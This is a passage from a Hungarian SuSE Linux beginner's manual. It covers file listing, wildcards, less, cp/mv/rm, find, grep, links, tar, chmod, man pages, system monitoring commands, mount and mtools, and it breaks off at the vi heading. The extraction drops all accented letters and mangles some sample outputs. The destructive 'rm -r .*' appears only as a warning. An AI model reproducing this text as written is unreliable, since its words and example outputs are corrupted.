Az els bet jelli a fjl tpust o u d a knyvtrat, l a lncot (link), - a rendes fjlt jelli. A kvetkez bet jelli az engedlyezseket, a tulajo u donosnak, a csoportnak s minden ms felhasznlnak (hrmas csoportokban). r jelli az olvasst (read), w az rst (write), x a vgrehajthatsgot (executable). Pldul az -rw-r-r- egy olyan fjlra utal, ami olvashat a tulajdonos, a csoport s minden ms felhasznl ltal, de csak a tulajdonos vltoztathatja meg. Lsd a man chmod kziknyvlapokat. A fjl tulajdonosa. Lsd man chown. A csoport ahov a fjl tartozik. Lsd a man chgrp kziknyvlapokat. A fjl mrete bjtban. Az utols vtoztats dtuma. Az a fjl, amelyik tbb, mint egy ve lett megvltoztatva, csak az vvel van jellve, ra s perc helyett. A fjl vagy knyvtr neve.

19.3 tblzat: UNIX fjlok jelz inek magyarzata o

499

19. Els lpsek a Linux-ban o 19.7.2 Dzskerek azaz helyettest karakterek o

A DOS-hoz kpest a shell (pl. bash ) dzskerek ltal nyjtott lehet sgei o sokkal szlesebbek. Pldul:
ls *a???.?

kilistzza az sszes olyan fjlt a jelenlegi knyvtrbl, aminek a vgr l o szmtva a hatodik bet je a s az utols el tti karaktere .. Nemcsak u o egy bet t, de egy egsz karaktersorozatot is megadhat. Pldul a bet ket u u a-tl f-ig gy kell lerni:
ls *[a-f]???.?

Kereshetnk nem alfabetikus sorrendben is:


ls *[1,3-5,M-P,a,k]???.?

19.7.3

Fjltartalom

Egy fjl tartalmt megnzhetjk a less vagy a more segtsgvel, oldalan knt. A more esetben, el re lapozni a o (szkz), vissza lapozni a b billenty vel lehet (lsd a 19.4 tblzatot). Mivel a less lnyegesen u knyelmesebb ezrt ltalban jobban kedvelik. A
jancsi@meggyfa: > less /etc/login.defs

betlti a /etc/login.defs fjlt a less "nz kbe"; a fjl els oldala mego o jelenik, a kperny aljn lv llapotjelz , inverz szn sorral egytt. A o o o u szkz egy oldalt el re, a -zel o b billenty vel pedig egy oldalt visszalpu hetnk; lsd a 19.4 tblzatot.

h q e y f b d u g G / n v F ^c

Sg Kilps Egy sorral el re o Egy sorral vissza Egy oldallal el re o Egy oldallal vissza Fl oldallal el re o Fl oldallal vissza Ugrs a fjl elejre Ugrs a fjl vgre Keress Ugrs a kvetkez jelzsre o Egy fjl betltse a szerkeszt be o Megnz egy "growing" (log) fjlt tkapcsol F mdrl "norml" mdra

19.4 tblzat: billenty k hasznlata a less "nz kben" (vlogats) u o A / billenty vel megadhatunk egy keressi szveget (pl. yes). A u 500

19.7. Munka a fjlokkal elindtja a keresst. Az n billenty a kvetkez el fordulsra ugrik. u o o Klnsen rdekes az F billenty . Evvel betekinthetnk a napl fjlba, u pldul amint adatot adtak hozz. Ctrl elhagyhatjuk ezt a mdot. + c -vel A h billenty vel, a less minden kpessge megjelenik. A elhagyjuk u q -val a Sg mdot. Ismtelt q megnyomsra kilphetnk a programbl. Egy fjl megvltoztatsra el kell indtanunk egy szerkeszt t. A szabvny o UNIX szerkeszt a vi . Nagyon megri egy kis id t ldozni r, hogy megiso o merjk nhny alapvet parancst. o 19.7.4 Rejtett fjlok

A rejtett fjlok sajtos tulajdonsggal rendelkez fjlok. Az ilyen fjlok neo vei egy ponttal kezd dnek, s csak akkor lthatk, ha az ls-t a -a opcio val hasznljuk. Ilyenkor minden fjl megjelenik, mg a rejtettek is (mint a .profile vagy az .xinitrc). A rejtett fjlok vdve vannak a vletlen trlst l, az rm * nem trli oket (lsd a 19.7.5 fejezetet). Ezeket az fjlokat o kln kell trlni az rm <.fjlnv> parancs hasznlatval. Ha megadjuk az rm .* parancsot, a jelenlegi knyvtrbl minden rejtett fjl trlsre kerl! Ha a -r opcit is hozzadja (rekurzv; rm -r .*), minden fjl a szl knyvtrbl is trlve lesz (ezek neve ../bla, o amiket a .* gyszintn magba foglal)! Legynk nagyon vatosak a -r-rel! 19.7.5 Fjlok msolsa, tnevezse s trlse

Fjlok msolsra Linux-ban a cp parancs szolgl:


jancsi@meggyfa: > cp forrs cl

A /etc/XF86Config fjl msolsa a home knyvtrba, az albbiak szerint vgezhet el: o


jancsi@meggyfa: > cp /etc/XF86Config ~

Fjlokat eltvoltani az rm parancs segtsgvel lehet. Egy hasznos opci a -r (rekurzi) ami mlysgben is trl (eltvolt minden alknyvtrat is, a bennk lv fjlokkal egytt; ez a DOS alatti deltree-re hasonlt). Mego adva:
jancsi@meggyfa: > rm -r bin

eltvoltja a bin knyvtrat, az sszes fjllal s alknyvtrral, ami benne van. Nagyon vatosan hasznljuk ezt az opcit, mert semmilyen md nincs a trlt fjlok helyrelltsra (visszanyersre)! Az mv paranccsal mozgathatunk fjlokat. A szintaxis azonos a cp parancsval:
jancsi@meggyfa: > mv xvnews.tgz XVNEWS.tgz

Ez thelyezi az xvnews.tgz fjlt XVNEWS.tgz-re, ami ugyanaz, mintha tneveztk volna. rdekesebb vlik ez, amikor egy egsz knyvtrft helyeznk t:
jancsi@meggyfa: > mv bin ~/latex

501

19. Els lpsek a Linux-ban o Ez thelyezi a bin knyvtrat (ha van ilyen) a ~/latex-be. Minden fjl, ami a bin-ben volt, most a ~/latex-be kerl. Ezt a parancsot is vatosan kell hasznlni, mivel nagyon knny elmozdtani egy egsz knyvtrft, s u olyan helyre vinni, amire mr nem is emlksznk utna. Egy teljes knyvtrfa thelyezse csak azonos fjlrendszeren (vagy partcin) bell lehetsges. 19.7.6 Fjlok keresse, szvegkeress fjlokban

Eljutottunk egy msik hasznos parancshoz: a find-hez. Ha az aktulis knyvtr sszes alknyvtrbl ki akarjuk keresni az emil fjlt, ezt kell megadnunk:
jancsi@meggyfa: > find . -name "emil"

Az els argumentum megadja, hogy melyik knyvtrbl induljon a keress. o A name opci egy keressi sztringet vr (dzsker engedlyezve van). Ha az sszes fjlt akarjuk megkeresni, ami tartalmazza az emil sztringet a nevben, az albbira kell mdostanunk a sort:
jancsi@meggyfa: > find . -name "*emil*"

Ahogy minden parancsnl, ennl is javasolt, hogy nzzk meg a kziknyvlapokat tovbbi informcirt. Nagyon gyors mdja egy fjl megkeressnek a locate parancs. Nzzk meg a kapcsold kziknyvlapokat ehhez is. Ha nem egy fjlt akarunk megtallni, hanem egy sztringet a fjlon bell, akkor a grep parancsot (= get regular expression pattern) kell hasznlnunk. Ez a parancs kikeresi a detective sztringet az emil fjlbl:
jancsi@meggyfa: > grep "detective" emil

Nagyon gyorsan kereshetnk ki bizonyos sztringeket a greppel, igen nagy mennyisg adatbl. Brmely szm, vagy fjlnv megadhat. Mg dzskeu rek s regulris kifejezsek is hasznlhatk. A grep kirja az szes helyet, ahol a sztring megtallhat. A grep nagyszm opcival rendelkezik. Tanulmnyozzuk a man grep kziknyvoldalakat. 19.7.7 Szimblikus linkek

A szimblikus linkek hasznlatval tbb nevet is adhatunk egy fjlhoz. Ez a nv a megfelel fjlra mutat. Kpzeljk el, hogy meg akarjuk orizni egy o msik vltozatt egy fjlnak, de a tnylegesen hasznlt vltozatot mindig azonos nven kne elrni. A megolds a szimblikus link hasznlata, ami a jelenleg hasznlatban lv vltozatra mutat. A szimblikus linkek ugyangy o viselkednek, mint a fjlok amire mutatnak, gy azok vgrehajthatk, ha a "forrs" fjl is az. Hasznlata:
jancsi@meggyfa: > ln -s rgi_check j_check

ltrehoz egy szimblikus linket j_check nven, ami a rgi_check-re mutat. A knyvtrunkban ez gy nz ki, mint a 19.7.2 kperny lista: o Egy link az rm parancs segtsgvel tvolthat el. 502

19.8. Engedlyek

lrwxrwxrwx 1 jancsi users 1024 Mar 21 17:13 j_check -> rgi_check

19.7.2 kperny lista: egy szimblikus link ls -l utn o

Csak a link lesz eltvoltva, nem a fjl amire mutat! 19.7.8 Archivls s adatok mentse

Archivlsra, s kicsomagolsra a tar (tape archiver) hasznlatos. A tmrtett archvumok kiterjesztse rendszerint .tgz vagy tar.gz. A tmrts nlkli archvumok kiterjesztse pedig .tar. A tar parancs legltalnosabb hasznlata: 1. Archvum kicsomagolsa (pl. CD-r l): o
jancsi@meggyfa: > tar xvfz archv.tgz

A tar kicsomagolja (x) a tmrtett (z) archv.tgz archvumot (f). Ltrehozza az alknyvtrakat is amennyiben az szksges. Minden fjl neve amit kicsomagolt, a szabvnyos kimenetre kerl (v). 2. Archvum ltrehozsa:
jancsi@meggyfa: > tar cvfz archv.tgz fjl1 dir1

A tar ltrehoz (c) egy tmrtett (z) archvumot archv.tgz (f), a fjl fjlbl s a dir1 knyvtr sszes fjljbl. Minden fjl neve, ami ssze lett csomagolva, a szabvny kimenetre kerl (v). 3. Az archvum tartalmnak megtekintse:
jancsi@meggyfa: > tar tfz archv.tgz

A tar megmutatja (t) a tmrtett (z) archv.tgz archvum (f) tartalmt. A z ag arra utastja a tar programot, hogy a be/ki tmrtst a GNU zip (gzip) segtsgvel vgezze el.
jancsi@meggyfa: > tar xvf archv.tar

kicsomagolja a nem tmrtett archv.tar-t. Tovbbi informcit tallunk, ha begpeljk:


jancsi@meggyfa: > info tar

19.8 Engedlyek
Csak a root felhasznl, mint a rendszeradminisztrtor rendelkezik minden fjlhoz val korltozs nlkli hozzfrssel. Az engedlyek hrom kategriba sorolhatk: Tulajdonosi engedlyek Csoport engedlyek "Mindenki ms" engedlyei 503

19. Els lpsek a Linux-ban o Minden egyes kategria hrom karakterrel van kpviseltetve. Az els karako terrel egytt (fjl tpus: d, l, vagy -), az engedlyezsi ag mez teljes hossza o tz karakter. Minden egyes ag, egy bizonyos karakterrel van kpviselve. A hrom kategrira azonosak a lehetsges ag-ek: Az r az olvass, a w az rs, az x a vgrehajts. Ha egy ag nincs belltva, ezt a - jel kpviseli. Pldaknt nzznk meg egy kpzeletbeli fjlt (linux.info) engedlyeit:
-rw-r-xr-- 1 jancsi users 29524 Jun 29 13:11 linux.info

19.1 bra: Fjlengedlyek megjelentse Ez azt jelenti, hogy a linux.info fjl rhat s olvashat a tulajdonos (jancsi) ltal. A users csoport minden tagja rsra s vgrehajtsra jogosult. Minden ms felhasznlnak kizrlag az olvass engedlyezett. A - jel az els helyen azt jelzi, hogy ez egy "norml" fjl. o Ugyanez vonatkozik a knyvtrakra is. Ha a krdses fjl egy knyvtr, akkor ezt a d jelzi a kilenc karakter el tt, (d mint directory). gy nz ki: o
drwxr-xr-3 jancsi users 1024 Jun 29 13:11 info/

Ha a x ag be van lltva egy knyvtrnl, akkor belphetnk (cd ) abba a knyvtrba. Ezt azt jelenti, hogy az a felhasznl, aki nem tartozik a users csoportba, nem lphet be ebbe a knyvtrba. Engedlyek mdostsa Az engedlyeket a chmod paranccsal mdosthatjuk (change mode). ltalban a chmod -nak kt argumentum kell: az engedly amit megvltoztat, s a a fjl neve. A hrom lehetsges csoportot az albbi bet k jelkpezik u a felhasznl u vagy tulajdonos, g a csoport, s o a tbbiek. Ezt kveti a megvltoztatand engedly. A + vagy a - jel fogja hozzadni vagy eltvoltani a megfelel engedly ag-et. Az albbi parancs pldul a linux.info fjlt o belltja a csoport tagjai szmra olvashatv, rhatv (megvltoztathatv) s vgrehajthatv.
jancsi@meggyfa: > chmod g+rwx linux.info

Ha az engedly mr minden kategrira be van lltva, akkor elegend csak o a megvltoztatand engedlyt megjellni. Az albbi parancs belltja, hogy senkinek se legyen engedlye rni a linux.info fjlt:
jancsi@meggyfa: > chmod -w linux.info

Az olvassra s vgrehajtsra vonatkoz engedlyekre ez nincs kihatssal. Hozzadhatunk s eltvolthatunk engedlyeket egyetlen parancson bell is. Az albbi parancs gy lltja be az engedlyeket a linux.info fjlon, hogy az vgrehajthat legyen, de nem olvashat s nem rhat: 504

19.9. Kziknyvlapok
jancsi@meggyfa: > chmod u+x-rw linux.info

Ha megnzzk ennek a vgeredmnyt, ezt ltjuk:


jancsi@meggyfa: > ls -l linux.info
---xr-xr-1 jancsi users 29524 Jun 29 13:11 linux.info

Kt rdekes parancs kapcsoldik a chmod-hoz, a chgrp a csoport megvltoztatsa (change group) s a chown a tulajdonos megvltoztatsa (change owner). Nzzk meg a kapcsold kziknyvlapokat, a parancsokat illet o tovbbi informcirt.

19.9 Kziknyvlapok
A parancsokrl, a kongurcis fjlokrl s a C-knyvtrakrl mindig megtallhatk informcik a kapcsold kziknyvlapokban (elg gyakran gy emlegetik, mint "manpages"). Lsd a 19.5 tblzatot. A kulcssz rendszerint a parancs neve, vagy a fjl neve, amir l informcit szeretnnk kapni. o

man <kulcssz>

Meghvja a <kulcssz> kziknyvlapot. man -f <kulcssz> Megkeresi a <kulcssz>-t s kilistzza a kziknyvlapot. man -k <kulcssz> Megkeresi a <kulcssz>-t az sszes kziknyvlapban, s kilistzza a megtallt kziknyvlapokat (belertve a tmval foglalkoz ms kziknyvlapokat is). man <section> <kulcssz> Meghvja a <kulcssz> kziknyvlapjt a <section>-bl (pl. man az 1) rszb l. o

19.5 tblzat: a man parancs hasznlata

Ha X Window System-et hasznlunk, taln hasznt vesszk az xman programnak, de a man sokkal gyorsabb. A man parancs a less eszkzt hasznlja; lsd a 19.7.3 . fejezetben (500. oldal) a rszletesebb hasznlatrt. Ha teleptettk a SuSE sgt, minden kziknyvlap elrhet gy, s knyelmesen o olvashat egy web bngsz vel. o A 19.6 tblzatban lthatjuk, hogy a kziknyvlapok klnbz rszekre o vannak osztva.

505

19. Els lpsek a Linux-ban o

1 2 3 4 5 6 7 8 9 n

Lerja a felhasznli parancsokat. Nmelyik beptett parancs. Knyvtri rendszerhvs. C knyvtri fggvny. Kongurcis fjlok lersa. Fontosabb fjlok szintaxisa. Jtkok lersa. Minden ami szvegekkel, szvegszerkesztssel stb. foglalkozik. Rendszeradminisztrcis parancsok. A Linux kernel rutinjainak lersa. Az n az "j" programokat kne, hogy kpviselje. Itt, ms kziknyvlapok vannak listzva, amik valjban ms rszekhez tartoznak, de hagyomnybl ide tettk ezeket, vagy mert nem igazn tartoznak egy ms rszhez sem.

19.6 tblzat: A kziknyvlapok rszei

Vegyk gyelembe, hogy nincs minden parancsra kziknyvlap. Ha nem talljuk meg az informcit a kziknyvlapokban, nzzk meg a /usr/share/doc alknyvtrban (pldul /usr/share/doc/howto, /usr/share/doc/howto/mini, vagy /usr/share/doc/packages).

19.10

Rendszerinformcik

Nha szksges informcit szereznnk a rendszer llapotrl. A df, free, top s ps parancsok hasznosak ebb l a szempontbl. o 19.10.1 A df parancs

A df kimenete tjkoztat a becsatolt merevlemezeken lv helyr l. Egy o o o pldt mutat a 19.10.1 kperny lista.
Filesystem 1024-blocks /dev/sda4 /dev/sda1 /dev/sdb1 /dev/sda3 Used Available Capacity Mounted on 5165 73310 26651 20068 99% 25% 99% 84% /home / /usr /opt

699392 659258 102384 23955 2097136 2070485 126976 106908

19.10.1 kperny lista: A df parancs kimenete o

19.10.2

A free parancs

A free parancs ad informcit a RAM s a swap ignybevtelr l. o 506

19.10. Rendszerinformcik

total used free shared buffers cached Mem: 30900 29272 1628 25608 1012 6412 -/+ buffers: 28260 2640 Swap: 66524 176 66348

19.10.2 kperny lista: a free parancs kimenete o 19.10.3 Az ulimit parancs

Az ulimit (user limits) paranccsal be lehet lltani a rendszerer forrsok o hasznlatnak korltozst, s ki lehet ratni azokat. Az ulimit klnsen hasznos az alkalmazsok memria elrhet sgnek korltozsra. Egy alo kalmazsnak meg lehet tiltani, hogy tl sok memrit (az sszeset) hasznljon fel magnak, ami esetleg a rendszer lefagyshoz vezethetne. Az ulimit klnbz opcikkal hasznlhat. A memria hasznlat korlo tozshoz hasznlhatjuk a 19.7 tblzatban felsorolt opcikat.

-m -v -s -c -a

a zikai memria max. mrete a virtulis memria (swap) max. mrete a verem (stack) max. mrete a core fjlok max. mrete a korltozsi belltsok kijelzse

19.7 tblzat: ulimit: a felhasznl er forrsainak belltsa o

A rendszerre kiterjed belltsokat a /etc/profile-ban llthatjuk be. A o core fjlok ltestst engedlyezni kell, mert ezek szksgesek a programozknak a hibakeresshez "debugging". A norml felhasznl nem emelheti meg a /etc/profile-ban, a rendszeradminisztrtor ltal meghatrozott rtket, de o is meghatrozhat sajt rtket a ~/.bashrc-ben; lsd mg a 19.10.1 fjllistt.
# Limits of physical memory: ulimit -m 98304 # Limits of virtual memory: ulimit -v 98304

19.10.1 fjllista: ulimit: belltsok a ~/.bashrc-ben A memriamret meghatrozst kB-ban kell megadni. Tovbbi rszletes informcirt nzzk meg a man bash kziknyvlapokat.

507

19. Els lpsek a Linux-ban o 19.10.4 A w parancs

A w parancs megmutatja a rendszerben lv aktv felhasznlkat. E parancs o kimenete egy tjkoztat lista, mely megmutatja az sszes felhasznlt, ki mita van a rendszerben, a terhelst, valamint hogy milyen alkalmazsokat hasznlnak jelenleg az egyes felhasznlk (lsd a 19.10.3 kperny listt). o
11:19pm up 9 days, 11:13, 13 users, load average: 3.26, 2.80, 2.67 User tty from login@ idle JCPU PCPU what root tty2 2:09pm 9:10 -bash root ttyp1 :0.0 2:11pm 2 4 2 xdvi -s 3 Li root ttypa :0.0 11:19pm w root tty1 2:07pm 9:08 50 (startx) jancsi ttyp0 meggyfa.liget 11:37am 11 2 2 -bash root ttyp3 :0.0 3:24pm 4 rlogin atlantisz jancsi ttyp2 meggyfa.liget 3:22pm 1 46 2 -bash root ttyp4 :0.0 3:27pm 1:48 8 bash root ttyp5 :0.0 5:40pm 5 1 1 telnet meggyfa jancsi ttyp6 eperfa.liget 3:53pm 3 5 5 -bash root ttyp7 :0.0 4:25pm 6:05 bash jancsi ttyp8 atlantisz.liget 9:37pm 1:30 1 telnet meggyfa jancsi ttyp9 atlantisz.liget 9:50pm 1:27 -bash

19.10.3 kperny lista: a w parancs kimenete o

19.10.5

A du parancs

A du parancs (lemez hasznlat (disk usage)) informcit ad az alknyvtrak s fjlok ltal elfoglalt helyr l. Tovbbi informcit tallhatunk a man du o kziknyvlapokon. 19.10.6 A kill parancs

Jeleket kld az aktv processzeknek. Egy processz szma szksges (process ID, vagy PID) argumentumknt. Ez a PID szm kiderthet a ps parancs o segtsgvel (lsd a 19.10.7 fejezetet). A kill parancs az albbi mdon hvhat meg:
meggyfa: # kill <pid>

ha a kvnt processz nem tudja elkapni a jelet, akkor a -9 paramter megadsval lehet lelltani. Konkrtan:
meggyfa: # kill -9 <pid>

mindenkppen lelltja a <pid> processz szm programot. 19.10.7 A ps parancs

A ps parancs (process status) kijelzi a felhasznl ltal elindtott processzeket. Err l a parancsrl tovbbi informci a man ps kziknyvlapokbl o szerezhet be. A ps a kijelzi a tbbi felhasznl ltal indtott processzeo ket is. Felhasznlva a process ID-t (a ps ltal megjelentett els oszlopban) o lehet v vlik lelltani egyes specilis processzeket, amik ppen futnak (lsd o a 19.10.6 fejezetben). 508

19.10. Rendszerinformcik 19.10.8 A pstree parancs

A pstree grakusan brzolja az egsz processz ft. Ez lthat a 19.10.4 kperny listn. o
init-+-bash---startx---xinit-+-X | -sh---fvwm-+-FvwmPager | |-FvwmWinList | |-GoodStuff | |-xclock | -xeyes |-color_xterm---bash---xdvi.bin---gs |-2*[color_xterm---bash---vi] |-color_xterm---bash---pstree |-coolmail---coolmail---xterm---pine |-cron |-gpm |-inetd |-kflushd |-klogd |-kswapd |-5*[mingetty] |-4*[nfsiod] |-sh---master---slipto |-syslogd |-update |-xload -xosview

19.10.4 kperny lista: a pstree kimenete o 19.10.9 A top parancs

Megjelenti az sszes fut processzt, processzor terhelskkel s mg sok ms informcival. A lista id szakonknt felfrissl. A lellthatjuk. o q -val

509

19. Els lpsek a Linux-ban o

19.11 Fjlrendszer tpusok Linux alatt, a mount s az umount


19.11.1 ttekints

Tbb fajta fjlrendszer is hasznlhat Linux alatt. Ezeket a 19.8 tblzat ismerteti. Amiga Fast Filesystem: az Amiga szmtgpek fjlrendszere. Extended Filesystem: az ext2 fjlrendszer el dje. Ma mr o nincs lnyeges szerepe. Second extended Filesystem: a szabvny Linux fjlrendszer. High Performance Filesystem: az IBM OS/2 szabvnyos fjlrendszere csak az olvassa tmogatott (read-only). a CD-ROM-ok szabvnyos fjlrendszere. Ez a fjlrendszer az egykori egyetemi opercis rendszerek projektb l szrmazik. Ez volt az els fjlrendszer, amit o o Linuxra hasznltak. Manapsg csak hajlkonylemezekre hasznlt fjlrendszer. Eredetileg a DOS hasznlta ezt a fjlrendszert, ma mr egyb opercis rendszerek is hasznljk. Fjlrendszer Novell ktetek (volumes) becsatolsra. Hlzati fjlrendszer (Network Filesystem): Segtsgvel adatok trolhatk a hlzat brmely gpn, s az elrhet o sg megadhat a hlzaton keresztl. A processzek fjlrendszere (virtulis). Server Message Block: olyan termkek hasznljk, mint a Windows for Workgroups, a Windows NT s a Lan Manager hogy a fjlokat el lehessen rni a hlzaton keresztl is. Az SCO UNIX , a Xenix s a Coherent hasznljk (ezek kereskedelmi UNIX rendszerek PC-kre). A BSD , a SunOS s a NeXTstep hasznljk. Csak az olvassa tmogatott (read-only). UNIX az MSDOS-on: egy norml fat fjlrendszeren alkalmazhat. Specilis fjlok hasznlatval megvalstja a UNIX funkciit (gymint engedlyezs, linkek, hossz fjlnevek). Viszont nagyon lass. Virtulis FAT: a norml fat fjlrendszer kiegsztse (tmogatja a hossz fjlneveket). Egy rgi fjlrendszer, amit ma mr nemigen hasznlnak.

affs ext ext2 hpfs iso9660 minix

msdos ncpfs nfs

proc smb

sysv ufs umsdos

vfat xiafs

19.8 tblzat: Linux alatt hasznlhat fjlrendszerek

510

19.11. Fjlrendszer tpusok Linux alatt, a mount s az umount 19.11.2 Fjlrendszerek fel s lecsatolsa

A mount parancs segtsgvel (amit csak a root hvhat meg), egy troleszkzt lehet a Linux fjlrendszer fba becsatolni. Kt argumentum szksges a mount-hoz: a troleszkz neve (a tnyleges eszkz neve, pl. /dev/hda3) a hely (knyvtr) neve, ahov be kvnjuk illeszteni (mount); a knyvtrnak mr lteznie kell. A -t <fjlrendszer tpus> opci meghatrozza a fjlrendszer tpust, amit becsatol (lsd a 19.8 tblzatot). Pldul:
meggyfa:/ # mount -t msdos /dev/hda2 /dosa

a /dev/hda2 DOS partci a /dosa knyvtrban lesz elrhet ; a /dosa o knyvtrat el bb ltre kell hozni (lsd a 19.6 . fejezetben (497. oldal)). Ha o egy eszkzt gyakran kell hozzadni a fjlrendszerhez azonos helyre, (pl. a hajlkonylemez meghajtt vagy a CD-ROM meghajtt) javasoljuk, hogy rjuk be adatait a /etc/fstab-ba; lsd a man 8 mount kziknyvlapokat. A -r opci hozzadsval a becsatols, csak olvasst eredmnyez. rs ebben az esetben a fjlrendszerre nincs engedlyezve. A tovbbi opcik dokumentcija a man 8 mount kziknyvlapokban tallhat. A mount paramterek nlkli meghvsa egy listt ad a becsatolt eszkzkr l. Ugyanez a lista lthat a /etc/mtab fjlban is. o umount Az umount parancs eltvolt egy eszkzt a fjlrendszerb l6 . o Az umount argumentumaknt megjellhetjk akr az eszkz nevt, akr annak a knyvtrnak a nevt, ahov az eszkz be van csatolva. gy a /dev/hda2 eltvoltshoz, ami a /dosa-ba van becsatolva, megadhatjuk akr az:
meggyfa: # umount /dosa

akr az
meggyfa: # umount /dev/hda2

parancsot is. Ha egy hajlkonylemezt csatoltunk be, nagyon fontos, hogy vgrehajtsuk az umount parancsot miel tt kivesszk a lemezt, mivel enlkl nincs mino den fjl a lemezre rva, s a lemez eltvoltsa adatvesztst eredmnyezhet. Ha egyes fjlok mg nyitva vannak az eszkzn, az umount megprblja oket visszarni a lemezre el szr, ha viszont ez nem lehetsges, hibazeo netet kld. Ha egy fjlrendszert le akarunk csatolni "unmount", azon nem szabad dolgoznia egyetlen felhasznlnak sem. (Abban a knyvtrban, ami az al a becsatolsi pont al esik, amit le akarunk csatolni); klnben a fjlrendszert nem lehet lecsatolni.
6

A parancs valamikor unmount volt, de az n elveszett valahol a UNIX trtnelmben.

511

19. Els lpsek a Linux-ban o

19.12 DOS parancsok Unix alatt az mtools csomag segtsgvel


Az MS-DOS fjlrendszer hasznlatra, akr hajlkonylemezen, akr merevlemezen az mtools csomag (az ap kszletb l) ll rendelkezsre. A csomag o minden egyes kis programja megprblja emullni a megfelel DOS parano csot annyira, amennyire azt az eredeti teszi. Minden mtools programot a DOS megfelel jr l neveztek el, eltve egy o o m-et, pldul: mcopy. Csak akkor hasznlhatjuk az mtools parancsokat, ha a lemez (vagy merevlemez) nincs becsatolva! A DOS fjlnevek rendszerint az eszkz bet jelvel kezd dnek, amit a kett su o o pont kvet, majd az alknyvtr, s a megfelel fjlnv. Az alknyvtrak s a o fjlnevek elklntsre DOS-ban a \ hasznlatos. Az mtools-al, hasznlhatunk / vagy \ jeleket is. Ha a \-t vagy dzsker-ot hasznlunk, akkor idz jelbe kell tenni azokat, klnben flrertelmezi a parancssor ro telmez (pl. a bash ). o A egyedlll * az mtools-ban megfelel a DOS-ban hasznlt *.* jelnek. Paramterek meghatrozsra, a / helyett, a - jelet kell hasznlnunk. Az mtools alaprtelmezett DOS eszkze az A:. Ha egy msikat kell hasznlnunk, t kell vltanunk arra, az mcd begpelsvel. Ne felejtsnk el visszamenni az eszkz "root" knyvtrba, miel tt egy msik hajlkonyleo mezt tesznk be, klnben nem lehet j knyvtrft beolvasni. Az albbi (DOS) parancsokat tmogatja jelenleg az mtools csomag:

mattrib mcd mcopy mdel mdir mformat

mlabel mmd mrd mread mren

Megvltoztatja a DOS fjl attribtumt (hidden, system). tvlt egy msik alknyvtrba. Msols DOS-bl UNIX-ba, vagy fordtva. Ne felejtsk el a clt megjellni. Egy DOS fjl trlse. Kilistz egy DOS knyvtrat. DOS fjrendszert hoz ltre egy alacsony szint en (lowu level) mr megformzott lemezen. (Az alacsony-szint foru mzst az fdformat vgzi el). tnevez egy DOS lemezt. Ltrehoz egy DOS alknyvtrat. Kitrl egy DOS alknyvtrat. Egy DOS fjl alacsonyszint (low-level) beolvassa UNIXu ba. tnevez egy ltez DOS fjlt. o

19.9 tblzat: folytats a kvetkez oldalon...... o 512

19.13. Unix parancsok sszefoglalsa

mtype mwrite

Egy DOS fjl tartalmnak kijelzse. Egy DOS fjl alacsonyszint low-level rsa UNIX-bl. u

19.9 tblzat: parancsok az mtools csomagban

A tmogatott lemezformtumok: 720 kB, 1,44 MB, vagy 360 kB, s 1,2 MB. alaprtelmezsben az A: eszkz 3.5-Zoll-os eszkz, mg a B: eszkz 5.25Zoll-nak van belltva. Ezek az alapbelltsok megvltoztathatk a /etc/mtools fjlban. Minden adat egy kln sorba kerl, az albbiak szerint: a meghajt neve DOS-ban, pl. a: a eszkzfjl neve Linux-ban, pl. /dev/fd0 fat_bits (hajlkony lemezekre 12) a svok, fejek s szektorok szma

E paramterek megvltoztatsval hasznlhat pldul, kt 5.25-Zoll mret u lemezegysget. Viszont nem adhatja meg ugyanazt a DOS eszkz bet t vagy u eszkznevet ktszer. Tovbbi informcirt lsd a man mtools kziknyvlapokat.

19.13

Unix parancsok sszefoglalsa

A legfontosabb parancsok sszefoglalsa (a hasznlhat opcik [] jelek kztt vannak megadva):

cd cd cd cd cp ln

directory .. /directory

a directory nev alknyvtrra vlts u a szl knyvtrba vlts o a /directory nev alknyvtrra vlts u a felhasznl home knyvtrba vlts forrs cl a forrsfjl msolsa a clfjl-ba. [-s] forrs linkv ltrehoz egy [szimblikus linket] linknv nven az aktulis knyvtrban a forrs fjlra, ahol a linknv hatrozza meg az tvonalat ahol a fjl tallhat. Meghatrozza azt az tvonalat, ahol a fjl kereshet (pl. a kero nel ltal) s megtallhat. Csak szimblikus linkek hozhatk ltre klnbz fjlrendszeo rekre. Knyvtrak szintn lncolhatk "szimblikus linkeken" keresztl.

19.10 tblzat: folytats a kvetkez oldalon...... o 513

19. Els lpsek a Linux-ban o

ls [directory]

rvid formban kilistzza a directory tartalmt (brief). ls -l [directory] rszletes formban kilistzza a directory tartalmt (detailed). ls -a [directory] a rejtett fjlokat is kilistzza (pl. a .xinitrc fjlt a home knyvtrbl). mkdir knyvtr ltrehoz egy j alknyvtrat knyvtr nven. more fjl vgiglapoz egy fjlon (lefel lapozshoz hasz nljuk a -t, b -t). felfel pedig a mv rgi_fjl j_fjl mozgat vagy tnevez egy fjlt. rm file trl egy fjlt. rm -r directory rekurzvan trli a directory knyvtrat. rmdir directory trli a directory knyvtrat (de csak ha az res).

19.10 tblzat: a legfontosabb Linux parancsok ttekintse

find .

-name "file"

find . -name "*emil*" man command grep string files

keres egy file nev fjlt a jelenlegi u knyvtr sszes alknyvtrban. keresi az sszes olyan fjlt, ami tartalmazza a emil sztringet. megjelenti a command parancs kziknyvlapjt. keresi az sszes fjlt a files kzl, amely tartalmazza a string-et, ami tartalmazhat "regulris kifejezst" is (lsd a 19.7.2 . fejezetben (500. oldal) vagy man regexp).

19.11 tblzat: keressi parancsok ttekintse

514

19.14. Mi a kvetkez ? o

19.14

Mi a kvetkez ? o

A knyvtrak, ahol a legtbb Linuxos programot tallhatjuk: /bin /sbin /usr/bin /usr/sbin /usr/X11R6/bin

A man <parancs> rszletes informcit ad a megadott parancsrl (lsd a 19.9 . fejezetben (505. oldal)) vagy programrl (feltve hogy ltezik kziknyvlapja). A kimenet a szabvny kimenetre van irnytva (ez rendszerint a kperny nk). o Az gynevezett csvek (pipes) segtsgvel a shell parancssorban (a | jel szimbolizlja) a kimenet tirnythat egy programra, a nyomtatra, vagy ha szksges egy fjlba is. Ha pldul ki akarjuk nyomtatni a kziknyvlapokat az ls parancsrl, ezt kell begpelnnk:
jancsi@meggyfa: > man -t ls | lpr

A kziknyvlapok bemutatsa, tmnknt csoportostva, megtallhat SuSE Linux rendszernk hypertext sgjban. Csak adjuk meg hogy: help. Itt hypertext hivatkozsok tallhatk kziknyvlapokhoz.

515

19. Els lpsek a Linux-ban o

19.15 A vi szerkeszt (editor) o


